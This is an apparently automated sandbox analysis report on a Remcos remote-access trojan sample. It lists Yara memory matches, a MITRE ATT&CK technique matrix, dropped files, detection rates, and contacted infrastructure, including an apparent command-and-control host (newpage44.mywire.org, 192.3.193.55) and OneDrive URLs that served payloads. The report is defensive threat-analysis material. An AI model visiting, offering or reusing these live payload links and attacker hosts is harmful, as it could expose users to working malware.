Source: Yara match	File source: 00000004.00000003.3306200253.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4089720835.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4059114885.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3405385976.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3021986254.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2586692141.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2665633974.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2593724777.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3012377467.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4179192099.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4150487956.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3479934068.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2665633974.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2699820103.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2976227634.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3158290079.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2441068745.0000000000833000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3188199822.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4093967085.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2508288522.0000000000887000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2269065709.0000000000677000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2449917599.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3302857825.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3035450983.00000000008B6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3114331731.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2976227634.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2464044779.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3104851524.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3856623990.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2924688106.00000000008D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3161654820.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2907189978.0000000000836000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2953713340.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3756339158.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2468471495.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2953713340.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2505658675.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3154708447.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4076981656.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3398152282.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3856623990.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3108448278.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2441068745.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4089190210.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4164933098.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3282868515.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3026491234.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2500770364.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3140335584.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2990087085.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2966180059.00000000008B5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3556121337.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4196544203.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2897470253.00000000008D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3502452984.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2897470253.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3409189142.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3208675091.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2666381721.00000000006FA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3056499496.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4190137392.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2651773256.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4160542671.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2441068745.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2542929865.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2651773256.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3856623990.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3143777432.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2578962565.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3214746265.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3302857825.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2699820103.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2441068745.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4081174679.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4160542671.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3195851585.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3184396476.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2681130552.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2651773256.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4160542671.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3180921443.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3226849372.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2851259856.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4174702696.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4128240945.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4112862781.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3035450983.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2441068745.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2134604580.0000000000902000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3051742899.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3097371106.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4155612708.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4193342497.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3133149930.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2590415900.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2970099930.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4186922519.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4108402859.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2503434982.0000000000885000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2534967306.000000000058C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2473564906.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2571716341.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2986429967.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2624186369.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2449917599.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3126775028.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3147479864.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3891529229.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2990087085.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2924688106.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4182981768.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2449917599.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3177194621.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4206966787.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3166598662.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2575632661.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3118446136.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3129933999.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3048020259.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3211964788.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2159845024.000000007EDF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3556121337.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2597324711.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3072775646.00000000008B6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3202677250.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4203802144.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3199136565.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2855238771.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2998039097.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4150586108.0000000000832000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4104689962.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4149829264.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3953749266.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4190364611.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2651773256.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3903387699.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2513853407.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2483626145.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2993705504.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2500770364.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3282868515.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3170185059.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2434407266.0000000015D10000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4108651921.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2500770364.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4139785485.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2417235143.0000000000936000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3282868515.00000000008B6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2665633974.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2966180059.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2509275795.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4149829264.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2571716341.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4155304442.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe PID: 1612, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: adode.exe PID: 7148, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Tuscpznj.PIF PID: 2544, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: adode.exe PID: 4080, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: adode.exe PID: 3184, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Tuscpznj.PIF PID: 3708, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: adode.exe PID: 3740, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Code function: cmd.exe

0_2_1602569A

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	2 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 Valid Accounts	1 Bypass User Account Control	2 Obfuscated Files or Information	211 Input Capture	1 Account Discovery	Remote Desktop Protocol	211 Input Capture	21 Encrypted Channel	Exfiltration Over Bluetooth	1 Defacement
Email Addresses	DNS Server	Domain Accounts	2 Service Execution	1 Windows Service	1 Valid Accounts	1 Software Packing	2 Credentials In Files	1 System Service Discovery	SMB/Windows Admin Shares	3 Clipboard Data	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	21 Registry Run Keys / Startup Folder	11 Access Token Manipulation	1 DLL Side-Loading	NTDS	1 System Network Connections Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Windows Service	1 Bypass User Account Control	LSA Secrets	4 File and Directory Discovery	SSH	Keylogging	113 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	22 Process Injection	1 File Deletion	Cached Domain Credentials	34 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	21 Registry Run Keys / Startup Folder	11 Masquerading	DCSync	1 Query Registry	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Valid Accounts	Proc Filesystem	131 Security Software Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	21 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	21 Virtualization/Sandbox Evasion	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	11 Access Token Manipulation	Network Sniffing	2 Process Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	22 Process Injection	Input Capture	1 Application Window Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	Embedded Payloads	Keylogging	1 System Owner/User Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	41%	Virustotal		Browse
SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	66%	ReversingLabs	Win32.Trojan.Remcos

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\Public\Libraries\Tuscpznj.PIF	66%	ReversingLabs	Win32.Trojan.Remcos
C:\Users\Public\Libraries\Tuscpznj.PIF	41%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\Skype\adode.exe	66%	ReversingLabs	Win32.Trojan.Remcos
C:\Users\user\AppData\Local\Temp\Skype\adode.exe	41%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
dual-spov-0006.spov-msedge.net	0%	Virustotal	Browse
newpage44.mywire.org	1%	Virustotal	Browse
geoplugin.net	4%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://geoplugin.net/json.gp	100%	URL Reputation	phishing
http://geoplugin.net/json.gp	100%	URL Reputation	phishing
http://geoplugin.net/json.gp/C	100%	URL Reputation	phishing
http://geoplugin.net/json.gpi	0%	Virustotal		Browse
http://geoplugin.net/json.gp=	0%	Virustotal		Browse
newpage44.mywire.org	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
dual-spov-0006.spov-msedge.net	13.107.137.11	true	false	0%, Virustotal, Browse	unknown
newpage44.mywire.org	192.3.193.55	true	true	1%, Virustotal, Browse	unknown
geoplugin.net	178.237.33.50	true	false	4%, Virustotal, Browse	unknown
onedrive.live.com	unknown	unknown	false		high
a4wlna.bn.files.1drv.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://onedrive.live.com/download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo	false		high
http://geoplugin.net/json.gp	true	URL Reputation: phishing URL Reputation: phishing	unknown
newpage44.mywire.org	true	1%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://a4wlna.bn.files.1drv.com/y4meU6qisqp4Gm95uhgEmrD5Fk5T1BoqiLt4XZvMwv6bzlgKBxQJrakFKNYDfGzzjMG	adode.exe, 00000007.00000003.2417235143.0000000000943000.00000004.00000020.00020000.00000000.sdmp	false		high
https://onedrive.live.com/r	adode.exe, 0000000B.00000003.2666381721.00000000006BA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://live.com/zr2	SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2134604580.0000000000902000.00000004.00000020.00020000.00000000.sdmp	false		high
https://a4wlna.bn.files.1drv.com/w	adode.exe, 00000004.00000003.2156654186.0000000000880000.00000004.00000020.00020000.00000000.sdmp	false		high
https://a4wlna.bn.files.1drv.com/y4mGsMbDhrqT4H8M3UmdvR3-ZbVnJl3xtwFC6_sGakQM9FticfdonZeXKszIrN9z6I0	adode.exe, 00000008.00000003.2503434982.0000000000833000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000008.00000002.2508288522.000000000082A000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000008.00000003.2503434982.0000000000826000.00000004.00000020.00020000.00000000.sdmp	false		high
https://onedrive.live.com/o	adode.exe, 0000000B.00000003.2666381721.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 0000000B.00000002.2671570521.00000000006BD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://a4wlna.bn.files.1drv.com/y4mpQEh8k2buqyUrIoyF6LQRqdR-W8s6kXvlC8FY4Vl55jnIHsQwPN8EI3RjIX3BvWw	adode.exe, 00000004.00000003.2156654186.0000000000880000.00000004.00000020.00020000.00000000.sdmp	false		high
http://geoplugin.net/json.gpi	adode.exe, 00000004.00000003.2441068745.0000000000897000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2897470253.000000000089A000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3583240457.0000000000898000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3604634780.000000000089A000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3593100783.000000000089A000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2970437558.0000000000897000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3569520212.0000000000898000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3588993367.000000000089A000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3565997661.0000000000898000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.2924688106.000000000089A000.00000004.00000020.00020000.00000000.sdmp, adode.exe, 00000004.00000003.3561485533.000000000089A000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://a4wlna.bn.files.1drv.com/y4m3u0QFpR4j-D-zfvEHJd1n5xdhOF39iul8b83e3LPDlruW3-qFyfQFrm9rKg0Bjvi	SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2134604580.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000002.2134604580.00000000008BC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://onedrive.live.com/download?r	SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, 00000000.00000003.2087939360.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://a4wlna.bn.files.1drv.com/B4r	adode.exe, 00000007.00000003.2366157935.00000000008E8000.00000004.00000020.00020000.00000000.sdmp	false		high
